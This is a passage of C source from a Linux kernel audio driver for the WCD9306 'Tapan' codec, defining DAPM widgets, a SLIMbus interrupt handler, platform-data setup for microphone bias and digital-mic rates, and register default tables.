SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("SPK PA", SND_SOC_NOPM, 0, 0 , NULL,
0, tapan_codec_enable_spk_pa,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("VDD_SPKDRV", SND_SOC_NOPM, 0, 0,
tapan_codec_enable_vdd_spkr,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_OUTPUT("EAR"),
SND_SOC_DAPM_OUTPUT("HEADPHONE"),
SND_SOC_DAPM_OUTPUT("LINEOUT1"),
SND_SOC_DAPM_OUTPUT("LINEOUT2"),
SND_SOC_DAPM_OUTPUT("SPK_OUT"),
/* TX Path*/
SND_SOC_DAPM_MIXER("AIF1_CAP Mixer", SND_SOC_NOPM, AIF1_CAP, 0,
aif_cap_mixer, ARRAY_SIZE(aif_cap_mixer)),
SND_SOC_DAPM_MIXER("AIF2_CAP Mixer", SND_SOC_NOPM, AIF2_CAP, 0,
aif_cap_mixer, ARRAY_SIZE(aif_cap_mixer)),
SND_SOC_DAPM_MIXER("AIF3_CAP Mixer", SND_SOC_NOPM, AIF3_CAP, 0,
aif_cap_mixer, ARRAY_SIZE(aif_cap_mixer)),
SND_SOC_DAPM_MUX("SLIM TX1 MUX", SND_SOC_NOPM, TAPAN_TX1, 0,
&sb_tx1_mux),
SND_SOC_DAPM_MUX("SLIM TX2 MUX", SND_SOC_NOPM, TAPAN_TX2, 0,
&sb_tx2_mux),
SND_SOC_DAPM_MUX("SLIM TX3 MUX", SND_SOC_NOPM, TAPAN_TX3, 0,
&sb_tx3_mux),
SND_SOC_DAPM_MUX("SLIM TX4 MUX", SND_SOC_NOPM, TAPAN_TX4, 0,
&sb_tx4_mux),
SND_SOC_DAPM_MUX("SLIM TX5 MUX", SND_SOC_NOPM, TAPAN_TX5, 0,
&sb_tx5_mux),
SND_SOC_DAPM_SUPPLY("CDC_CONN", WCD9XXX_A_CDC_CLK_OTHR_CTL, 2, 0, NULL,
0),
/* Decimator MUX */
SND_SOC_DAPM_MUX_E("DEC1 MUX", TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL, 0, 0,
&dec1_mux, tapan_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("DEC2 MUX", TAPAN_A_CDC_CLK_TX_CLK_EN_B1_CTL, 1, 0,
&dec2_mux, tapan_codec_enable_dec,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_PRE_PMD | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_SUPPLY("LDO_H", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_ldo_h,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
/*
* DAPM 'LDO_H Standalone' is to be powered by mbhc driver after
* acquring codec_resource lock.
* So call __tapan_codec_enable_ldo_h instead and avoid deadlock.
*/
SND_SOC_DAPM_SUPPLY("LDO_H Standalone", SND_SOC_NOPM, 7, 0,
__tapan_codec_enable_ldo_h,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC1"),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 External", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 Internal1", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS1 Internal2", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC1", NULL, TAPAN_A_TX_1_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("ADC2", NULL, TAPAN_A_TX_2_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC3"),
SND_SOC_DAPM_ADC_E("ADC3", NULL, TAPAN_A_TX_3_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC4"),
SND_SOC_DAPM_ADC_E("ADC4", NULL, TAPAN_A_TX_4_EN, 7, 0,
tapan_codec_enable_adc, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_INPUT("AMIC2"),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 External", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal1", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal2", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E("MIC BIAS2 Internal3", SND_SOC_NOPM, 7, 0,
tapan_codec_enable_micbias, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MICBIAS_E(DAPM_MICBIAS2_EXTERNAL_STANDALONE, SND_SOC_NOPM,
7, 0, tapan_codec_enable_micbias,
SND_SOC_DAPM_PRE_PMU | SND_SOC_DAPM_POST_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF1 CAP", "AIF1 Capture", 0, SND_SOC_NOPM,
AIF1_CAP, 0, tapan_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF2 CAP", "AIF2 Capture", 0, SND_SOC_NOPM,
AIF2_CAP, 0, tapan_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_AIF_OUT_E("AIF3 CAP", "AIF3 Capture", 0, SND_SOC_NOPM,
AIF3_CAP, 0, tapan_codec_enable_slimtx,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
/* Digital Mic Inputs */
SND_SOC_DAPM_ADC_E("DMIC1", NULL, SND_SOC_NOPM, 0, 0,
tapan_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("DMIC2", NULL, SND_SOC_NOPM, 0, 0,
tapan_codec_enable_dmic, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/* Sidetone */
SND_SOC_DAPM_MUX_E("IIR1 INP1 MUX", TAPAN_A_CDC_IIR1_GAIN_B1_CTL, 0, 0,
&iir1_inp1_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA_E("IIR1", TAPAN_A_CDC_CLK_SD_CTL, 0, 0, NULL, 0,
tapan_codec_set_iir_gain, SND_SOC_DAPM_POST_PMU),
SND_SOC_DAPM_MUX_E("IIR1 INP2 MUX", TAPAN_A_CDC_IIR1_GAIN_B2_CTL, 0, 0,
&iir1_inp2_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR1 INP3 MUX", TAPAN_A_CDC_IIR1_GAIN_B3_CTL, 0, 0,
&iir1_inp3_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR1 INP4 MUX", TAPAN_A_CDC_IIR1_GAIN_B4_CTL, 0, 0,
&iir1_inp4_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR2 INP1 MUX", TAPAN_A_CDC_IIR2_GAIN_B1_CTL, 0, 0,
&iir2_inp1_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR2 INP2 MUX", TAPAN_A_CDC_IIR2_GAIN_B2_CTL, 0, 0,
&iir2_inp2_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR2 INP3 MUX", TAPAN_A_CDC_IIR2_GAIN_B3_CTL, 0, 0,
&iir2_inp3_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_MUX_E("IIR2 INP4 MUX", TAPAN_A_CDC_IIR2_GAIN_B4_CTL, 0, 0,
&iir2_inp4_mux, tapan_codec_iir_mux_event,
SND_SOC_DAPM_POST_PMU | SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_PGA("IIR2", TAPAN_A_CDC_CLK_SD_CTL, 1, 0, NULL, 0),
/* AUX PGA */
SND_SOC_DAPM_ADC_E("AUX_PGA_Left", NULL, TAPAN_A_RX_AUX_SW_CTL, 7, 0,
tapan_codec_enable_aux_pga, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
SND_SOC_DAPM_ADC_E("AUX_PGA_Right", NULL, TAPAN_A_RX_AUX_SW_CTL, 6, 0,
tapan_codec_enable_aux_pga, SND_SOC_DAPM_PRE_PMU |
SND_SOC_DAPM_POST_PMD),
/* Lineout, ear and HPH PA Mixers */
SND_SOC_DAPM_MIXER("EAR_PA_MIXER", SND_SOC_NOPM, 0, 0,
ear_pa_mix, ARRAY_SIZE(ear_pa_mix)),
SND_SOC_DAPM_MIXER("HPHL_PA_MIXER", SND_SOC_NOPM, 0, 0,
hphl_pa_mix, ARRAY_SIZE(hphl_pa_mix)),
SND_SOC_DAPM_MIXER("HPHR_PA_MIXER", SND_SOC_NOPM, 0, 0,
hphr_pa_mix, ARRAY_SIZE(hphr_pa_mix)),
SND_SOC_DAPM_MIXER("LINEOUT1_PA_MIXER", SND_SOC_NOPM, 0, 0,
lineout1_pa_mix, ARRAY_SIZE(lineout1_pa_mix)),
SND_SOC_DAPM_MIXER("LINEOUT2_PA_MIXER", SND_SOC_NOPM, 0, 0,
lineout2_pa_mix, ARRAY_SIZE(lineout2_pa_mix)),
};
static irqreturn_t tapan_slimbus_irq(int irq, void *data)
{
struct tapan_priv *priv = data;
struct snd_soc_codec *codec = priv->codec;
unsigned long status = 0;
int i, j, port_id, k;
u32 bit;
u8 val;
bool tx, cleared;
for (i = TAPAN_SLIM_PGD_PORT_INT_STATUS_RX_0, j = 0;
i <= TAPAN_SLIM_PGD_PORT_INT_STATUS_TX_1; i++, j++) {
val = wcd9xxx_interface_reg_read(codec->control_data, i);
status |= ((u32)val << (8 * j));
}
for_each_set_bit(j, &status, 32) {
tx = (j >= 16 ? true : false);
port_id = (tx ? j - 16 : j);
val = wcd9xxx_interface_reg_read(codec->control_data,
TAPAN_SLIM_PGD_PORT_INT_RX_SOURCE0 + j);
if (val & TAPAN_SLIM_IRQ_OVERFLOW)
pr_err_ratelimited(
"%s: overflow error on %s port %d, value %x\n",
__func__, (tx ? "TX" : "RX"), port_id, val);
if (val & TAPAN_SLIM_IRQ_UNDERFLOW)
pr_err_ratelimited(
"%s: underflow error on %s port %d, value %x\n",
__func__, (tx ? "TX" : "RX"), port_id, val);
if (val & TAPAN_SLIM_IRQ_PORT_CLOSED) {
/*
* INT SOURCE register starts from RX to TX
* but port number in the ch_mask is in opposite way
*/
bit = (tx ? j - 16 : j + 16);
dev_dbg(codec->dev, "%s: %s port %d closed value %x, bit %u\n",
__func__, (tx ? "TX" : "RX"), port_id, val,
bit);
for (k = 0, cleared = false; k < NUM_CODEC_DAIS; k++) {
dev_dbg(codec->dev, "%s: priv->dai[%d].ch_mask = 0x%lx\n",
__func__, k, priv->dai[k].ch_mask);
if (test_and_clear_bit(bit,
&priv->dai[k].ch_mask)) {
cleared = true;
if (!priv->dai[k].ch_mask)
wake_up(&priv->dai[k].dai_wait);
/*
* There are cases when multiple DAIs
* might be using the same slimbus
* channel. Hence don't break here.
*/
}
}
WARN(!cleared,
"Couldn't find slimbus %s port %d for closing\n",
(tx ? "TX" : "RX"), port_id);
}
wcd9xxx_interface_reg_write(codec->control_data,
TAPAN_SLIM_PGD_PORT_INT_CLR_RX_0 +
(j / 8),
1 << (j % 8));
}
return IRQ_HANDLED;
}
static int tapan_handle_pdata(struct tapan_priv *tapan)
{
struct snd_soc_codec *codec = tapan->codec;
struct wcd9xxx_pdata *pdata = tapan->resmgr.pdata;
int k1, k2, k3, rc = 0;
u8 txfe_bypass;
u8 txfe_buff;
u8 flag;
u8 i = 0, j = 0;
u8 val_txfe = 0, value = 0;
u8 dmic_sample_rate_value = 0;
u8 dmic_b1_ctl_value = 0;
u8 anc_ctl_value = 0;
if (!pdata) {
dev_err(codec->dev, "%s: NULL pdata\n", __func__);
rc = -ENODEV;
goto done;
}
txfe_bypass = pdata->amic_settings.txfe_enable;
txfe_buff = pdata->amic_settings.txfe_buff;
flag = pdata->amic_settings.use_pdata;
/* Make sure settings are correct */
if ((pdata->micbias.ldoh_v > WCD9XXX_LDOH_3P0_V) ||
(pdata->micbias.bias1_cfilt_sel > WCD9XXX_CFILT3_SEL) ||
(pdata->micbias.bias2_cfilt_sel > WCD9XXX_CFILT3_SEL) ||
(pdata->micbias.bias3_cfilt_sel > WCD9XXX_CFILT3_SEL)) {
dev_err(codec->dev, "%s: Invalid ldoh voltage or bias cfilt\n",
__func__);
rc = -EINVAL;
goto done;
}
/* figure out k value */
k1 = wcd9xxx_resmgr_get_k_val(&tapan->resmgr, pdata->micbias.cfilt1_mv);
k2 = wcd9xxx_resmgr_get_k_val(&tapan->resmgr, pdata->micbias.cfilt2_mv);
k3 = wcd9xxx_resmgr_get_k_val(&tapan->resmgr, pdata->micbias.cfilt3_mv);
if (IS_ERR_VALUE(k1) || IS_ERR_VALUE(k2) || IS_ERR_VALUE(k3)) {
dev_err(codec->dev,
"%s: could not get K value. k1 = %d k2 = %d k3 = %d\n",
__func__, k1, k2, k3);
rc = -EINVAL;
goto done;
}
/* Set voltage level and always use LDO */
snd_soc_update_bits(codec, TAPAN_A_LDO_H_MODE_1, 0x0C,
(pdata->micbias.ldoh_v << 2));
snd_soc_update_bits(codec, TAPAN_A_MICB_CFILT_1_VAL, 0xFC, (k1 << 2));
snd_soc_update_bits(codec, TAPAN_A_MICB_CFILT_2_VAL, 0xFC, (k2 << 2));
snd_soc_update_bits(codec, TAPAN_A_MICB_CFILT_3_VAL, 0xFC, (k3 << 2));
i = 0;
while (i < 5) {
if (flag & (0x01 << i)) {
val_txfe = (txfe_bypass & (0x01 << i)) ? 0x20 : 0x00;
val_txfe = val_txfe |
((txfe_buff & (0x01 << i)) ? 0x10 : 0x00);
snd_soc_update_bits(codec,
TAPAN_A_TX_1_2_TEST_EN + j * 10,
0x30, val_txfe);
}
if (flag & (0x01 << (i + 1))) {
val_txfe = (txfe_bypass &
(0x01 << (i + 1))) ? 0x02 : 0x00;
val_txfe |= (txfe_buff &
(0x01 << (i + 1))) ? 0x01 : 0x00;
snd_soc_update_bits(codec,
TAPAN_A_TX_1_2_TEST_EN + j * 10,
0x03, val_txfe);
}
/* Tapan only has TAPAN_A_TX_1_2_TEST_EN and
TAPAN_A_TX_4_5_TEST_EN reg */
if (i == 0) {
i = 3;
continue;
} else if (i == 3) {
break;
}
}
if (pdata->ocp.use_pdata) {
/* not defined in CODEC specification */
if (pdata->ocp.hph_ocp_limit == 1 ||
pdata->ocp.hph_ocp_limit == 5) {
rc = -EINVAL;
goto done;
}
snd_soc_update_bits(codec, TAPAN_A_RX_COM_OCP_CTL,
0x0F, pdata->ocp.num_attempts);
snd_soc_write(codec, TAPAN_A_RX_COM_OCP_COUNT,
((pdata->ocp.run_time << 4) | pdata->ocp.wait_time));
snd_soc_update_bits(codec, TAPAN_A_RX_HPH_OCP_CTL,
0xE0, (pdata->ocp.hph_ocp_limit << 5));
}
/* Set micbias capless mode with tail current */
value = (pdata->micbias.bias1_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x10);
snd_soc_update_bits(codec, TAPAN_A_MICB_1_CTL, 0x10, value);
value = (pdata->micbias.bias2_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x10);
snd_soc_update_bits(codec, TAPAN_A_MICB_2_CTL, 0x10, value);
value = (pdata->micbias.bias3_cap_mode == MICBIAS_EXT_BYP_CAP ?
0x00 : 0x10);
snd_soc_update_bits(codec, TAPAN_A_MICB_3_CTL, 0x10, value);
/* Set the DMIC sample rate */
if (pdata->mclk_rate == TAPAN_MCLK_CLK_9P6MHZ) {
switch (pdata->dmic_sample_rate) {
case WCD9XXX_DMIC_SAMPLE_RATE_2P4MHZ:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_4;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_4;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
break;
case WCD9XXX_DMIC_SAMPLE_RATE_4P8MHZ:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_2;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_2;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_ON;
break;
case WCD9XXX_DMIC_SAMPLE_RATE_3P2MHZ:
case WCD9XXX_DMIC_SAMPLE_RATE_UNDEFINED:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_3;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_3;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
break;
default:
dev_err(codec->dev,
"%s Invalid sample rate %d for mclk %d\n",
__func__, pdata->dmic_sample_rate,
pdata->mclk_rate);
rc = -EINVAL;
goto done;
}
} else if (pdata->mclk_rate == TAPAN_MCLK_CLK_12P288MHZ) {
switch (pdata->dmic_sample_rate) {
case WCD9XXX_DMIC_SAMPLE_RATE_3P072MHZ:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_4;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_4;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
break;
case WCD9XXX_DMIC_SAMPLE_RATE_6P144MHZ:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_2;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_2;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_ON;
break;
case WCD9XXX_DMIC_SAMPLE_RATE_4P096MHZ:
case WCD9XXX_DMIC_SAMPLE_RATE_UNDEFINED:
dmic_sample_rate_value = WCD9XXX_DMIC_SAMPLE_RATE_DIV_3;
dmic_b1_ctl_value = WCD9XXX_DMIC_B1_CTL_DIV_3;
anc_ctl_value = WCD9XXX_ANC_DMIC_X2_OFF;
break;
default:
dev_err(codec->dev,
"%s Invalid sample rate %d for mclk %d\n",
__func__, pdata->dmic_sample_rate,
pdata->mclk_rate);
rc = -EINVAL;
goto done;
}
} else {
dev_err(codec->dev, "%s MCLK is not set!\n", __func__);
rc = -EINVAL;
goto done;
}
snd_soc_update_bits(codec, TAPAN_A_CDC_TX1_DMIC_CTL,
0x7, dmic_sample_rate_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_TX2_DMIC_CTL,
0x7, dmic_sample_rate_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_TX3_DMIC_CTL,
0x7, dmic_sample_rate_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_TX4_DMIC_CTL,
0x7, dmic_sample_rate_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_CLK_DMIC_B1_CTL,
0xEE, dmic_b1_ctl_value);
snd_soc_update_bits(codec, TAPAN_A_CDC_ANC1_B2_CTL,
0x1, anc_ctl_value);
done:
return rc;
}
static const struct tapan_reg_mask_val tapan_reg_defaults[] = {
/* enable QFUSE for wcd9306 */
TAPAN_REG_VAL(TAPAN_A_QFUSE_CTL, 0x03),
/* PROGRAM_THE_0P85V_VBG_REFERENCE = V_0P858V */
TAPAN_REG_VAL(TAPAN_A_BIAS_CURR_CTL_2, 0x04),
TAPAN_REG_VAL(TAPAN_A_CDC_CLK_POWER_CTL, 0x03),
/* EAR PA deafults */
TAPAN_REG_VAL(TAPAN_A_RX_EAR_CMBUFF, 0x05),
/* RX1 and RX2 defaults */
TAPAN_REG_VAL(TAPAN_A_CDC_RX1_B6_CTL, 0xA0),
TAPAN_REG_VAL(TAPAN_A_CDC_RX2_B6_CTL, 0x80),
/* Heaset set Right from RX2 */
TAPAN_REG_VAL(TAPAN_A_CDC_CONN_RX2_B2_CTL, 0x10),
/*
* The following only need to be written for Tapan 1.0 parts.
* Tapan 2.0 will have appropriate defaults for these registers.
*/
/* Required defaults for class H operation */
/* borrowed from Taiko class-h */
TAPAN_REG_VAL(TAPAN_A_RX_HPH_CHOP_CTL, 0xF4),
TAPAN_REG_VAL(TAPAN_A_BIAS_CURR_CTL_2, 0x08),
TAPAN_REG_VAL(WCD9XXX_A_BUCK_CTRL_CCL_1, 0x5B),
TAPAN_REG_VAL(WCD9XXX_A_BUCK_CTRL_CCL_3, 0x6F),
/* TODO: Check below reg writes conflict with above */
/* PROGRAM_THE_0P85V_VBG_REFERENCE = V_0P858V */
TAPAN_REG_VAL(TAPAN_A_BIAS_CURR_CTL_2, 0x04),
TAPAN_REG_VAL(TAPAN_A_RX_HPH_CHOP_CTL, 0x74),
TAPAN_REG_VAL(TAPAN_A_RX_BUCK_BIAS1, 0x62),
/* Choose max non-overlap time for NCP */
TAPAN_REG_VAL(TAPAN_A_NCP_CLK, 0xFC),
/* Use 25mV/50mV for deltap/m to reduce ripple */
TAPAN_REG_VAL(WCD9XXX_A_BUCK_CTRL_VCL_1, 0x08),
/*
* Set DISABLE_MODE_SEL<1:0> to 0b10 (disable PWM in auto mode).
* Note that the other bits of this register will be changed during
* Rx PA bring up.
*/
TAPAN_REG_VAL(WCD9XXX_A_BUCK_MODE_3, 0xCE),
/* Reduce HPH DAC bias to 70% */
TAPAN_REG_VAL(TAPAN_A_RX_HPH_BIAS_PA, 0x7A),
/*Reduce EAR DAC bias to 70% */
TAPAN_REG_VAL(TAPAN_A_RX_EAR_BIAS_PA, 0x76),
/* Reduce LINE DAC bias to 70% */
TAPAN_REG_VAL(TAPAN_A_RX_LINE_BIAS_PA, 0x78),
/*
* There is a diode to pull down the micbias while doing
* insertion detection. This diode can cause leakage.
* Set bit 0 to 1 to prevent leakage.
* Setting this bit of micbias 2 prevents leakage for all other micbias.
*/
TAPAN_REG_VAL(TAPAN_A_MICB_2_MBHC, 0x41),
/*
* Default register settings to support dynamic change of
* vdd_buck between 1.8 volts and 2.15 volts.
*/
TAPAN_REG_VAL(TAPAN_A_BUCK_MODE_2, 0xAA),
};
static const struct tapan_reg_mask_val tapan_2_x_reg_reset_values[] = {
TAPAN_REG_VAL(TAPAN_A_TX_7_MBHC_EN, 0x6C),
TAPAN_REG_VAL(TAPAN_A_BUCK_CTRL_CCL_4, 0x51),
TAPAN_REG_VAL(TAPAN_A_RX_HPH_CNP_WG_CTL, 0xDA),
TAPAN_REG_VAL(TAPAN_A_RX_EAR_CNP, 0xC0),
TAPAN_REG_VAL(TAPAN_A_RX_LINE_1_TEST, 0x02),
TAPAN_REG_VAL(TAPAN_A_RX_LINE_2_TEST, 0x02),
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_OCP_CTL, 0x97),
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_CLIP_DET, 0x01),
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_IEC, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_B1_CTL, 0xE4),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_B2_CTL, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_B3_CTL, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_BUCK_NCP_VARS, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_V_PA_HD_EAR, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_V_PA_HD_HPH, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_V_PA_MIN_EAR, 0x00),
TAPAN_REG_VAL(TAPAN_A_CDC_CLSH_V_PA_MIN_HPH, 0x00),
};
static const struct tapan_reg_mask_val tapan_1_0_reg_defaults[] = {
/* Close leakage on the spkdrv */
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_DBG_PWRSTG, 0x24),
TAPAN_REG_VAL(TAPAN_A_SPKR_DRV_DBG_DAC, 0xE5),
};
static void tapan_update_reg_defaults(struct snd_soc_codec *codec)
{
u32 i;
struct wcd9xxx *tapan_core = dev_get_drvdata(codec->dev->parent);
if (!TAPAN_IS_1_0(tapan_core->version)) {
for (i = 0; i < ARRAY_SIZE(tapan_2_x_reg_reset_values); i++)
snd_soc_write(codec, tapan_2_x_reg_reset_values[i].reg,
tapan_2_x_reg_reset_values[i].val);
}
for (i = 0; i < ARRAY_SIZE(tapan_reg_defaults); i++)
snd_soc_write(codec, tapan_reg_defaults[i].reg,
tapan_reg_defaults[i].val);
if (TAPAN_IS_1_0(tapan_core->version)) {
for (i = 0; i < ARRAY_SIZE(tapan_1_0_reg_defaults); i++)
snd_soc_write(codec, tapan_1_0_reg_defaults[i].reg,
tapan_1_0_reg_defaults[i].val);
}
if (!TAPAN_IS_1_0(tapan_core->version))
spkr_drv_wrnd = -1;
else if (spkr_drv_wrnd == 1)
snd_soc_write(codec, TAPAN_A_SPKR_DRV_EN, 0xEF);
}
static void tapan_update_reg_mclk_rate(struct wcd9xxx *wcd9xxx)
{
struct snd_soc_codec *codec;
codec = (struct snd_soc_codec *)(wcd9xxx->ssr_priv);
dev_dbg(codec->dev, "%s: MCLK Rate = %x\n",
__func__, wcd9xxx->mclk_rate);
if (wcd9xxx->mclk_rate == TAPAN_MCLK_CLK_12P288MHZ) {
snd_soc_update_bits(codec, TAPAN_A_CHIP_CTL, 0x06, 0x0);
snd_soc_update_bits(codec, TAPAN_A_RX_COM_TIMER_DIV, 0x01,
0x01);
} else if (wcd9xxx->mclk_rate == TAPAN_MCLK_CLK_9P6MHZ) {
snd_soc_update_bits(codec, TAPAN_A_CHIP_CTL, 0x06, 0x2);
}
}
static const struct tapan_reg_mask_val tapan_codec_reg_init_val[] = {
/* Initialize current threshold to 365MA
* number of wait and run cycles to 4096
*/
{TAPAN_A_RX_HPH_OCP_CTL, 0xE9, 0x69},
{TAPAN_A_RX_COM_OCP_COUNT, 0xFF, 0xFF},
{TAPAN_A_RX_HPH_L_TEST, 0x01, 0x01},
{TAPAN_A_RX_HPH_R_TEST, 0x01, 0x01},
/* Initialize gain registers to use register gain */
{TAPAN_A_RX_HPH_L_GAIN, 0x20, 0x20},
{TAPAN_A_RX_HPH_R_GAIN, 0x20, 0x20},
{TAPAN_A_RX_LINE_1_GAIN, 0x20, 0x20},
{TAPAN_A_RX_LINE_2_GAIN, 0x20, 0x20},
{TAPAN_A_SPKR_DRV_GAIN, 0x04, 0x04},
/* Set RDAC5 MUX to take input from DEM3_INV.
* This sets LO2 DAC to get input from DEM3_INV
* for LO1 and LO2 to work as differential outputs.
*/
{TAPAN_A_CDC_CONN_MISC, 0x04, 0x04},
/* CLASS H config */
{TAPAN_A_CDC_CONN_CLSH_CTL, 0x3C, 0x14},
/* Use 16 bit sample size for TX1 to TX5 */
{TAPAN_A_CDC_CONN_TX_SB_B1_CTL, 0x30, 0x20},
{TAPAN_A_CDC_CONN_TX_SB_B2_CTL, 0x30, 0x20},
{TAPAN_A_CDC_CONN_TX_SB_B3_CTL, 0x30, 0x20},
{TAPAN_A_CDC_CONN_TX_SB_B4_CTL, 0x30, 0x20},
{TAPAN_A_CDC_CONN_TX_SB_B5_CTL, 0x30, 0x20},
/* Disable SPK SWITCH */
{TAPAN_A_SPKR_DRV_DAC_CTL, 0x04, 0x00},
/* Use 16 bit sample size for RX */
{TAPAN_A_CDC_CONN_RX_SB_B1_CTL, 0xFF, 0xAA},
{TAPAN_A_CDC_CONN_RX_SB_B2_CTL, 0xFF, 0x2A},
/*enable HPF filter for TX paths */
